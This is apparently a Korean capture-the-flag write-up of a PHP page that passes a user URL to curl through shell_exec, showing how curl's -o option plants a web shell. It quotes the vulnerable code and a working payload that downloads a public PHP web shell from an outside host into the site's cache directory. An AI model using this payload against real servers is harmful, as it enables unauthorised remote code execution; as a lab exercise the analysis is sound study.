문제분석 & 풀이
url을 입력하고 curl 요청하는 페이지다.
코드를 확인해보자.
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
코드 분석
- url은 http로 시작해야한다.
curl $url
로 curl 명령을 실행한다.- 캐시 파일을
/cache
경로에 저장한다. - 실행 결과를 화면에 출력한다.
url을 이용해서 curl 명령을 실행한다. 따라서 ;
와 같은 문자를 추가하면 curl 명령 외에도 임의의 명령을 실행시켜서 command injection을 수행하는 방식을 생각했다.
하지만 escapeshellcmd($_GET['url'])
로 ;
, |
등의 문자열을 사용해도 이스케이프 처리되고 메타문자가 아닌 일반 문자열로 처리되므로 command injection을 수행 할 수 없다.
따라서 command injection은 포기하고 RCE로 접근하려고한다.
command injection을 수행할 수 없다고 하더라도 curl 명령은 실행 가능하다.
그렇다면 웹쉘이 업로드 된 공격자의 웹서버로 요청을 보내서 /cache
경로에 웹쉘을 업로드하면?
/cache
경로에 웹쉘이 업로드 된다.
이런 작업은 curl 명령어 옵션을 이용해서 수행할 수 있다.
curl은 -o
라는 옵션이 있다. 해당 옵션은 지정한 디렉토리에 요청 결과를 생성한다는 의미다.
즉, 해당 옵션으로 공격자의 웹쉘을 다운로드 받도록 해서 웹쉘을 업로드할 수 있다.
○ 공격시나리오
- 공격자 서버에 웹 쉘을 업로드한다.
- url 주소를 공격자 서버로 지정하고
-o
옵션을 이용해서/cache
경로에 웹쉘을 생성한다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php
웹쉘을 /cache
에 업로드하는 payload다.
https://github.com/WhiteWinterWolf/wwwolf-php-webshell
github에 공개된 PHP 웹쉘을 이용했고 -o
옵션으로 ./cache/exploit.php
라는 파일을 생성하도록했다.
payload를 전송해보자.
curl 명령이 정상적으로 실행됐다.
./cache/exploit.php
에 접근해서 웹쉘이 생성됐는지 확인해보자.
웹쉘이 실행된 것을 확인할 수 있다.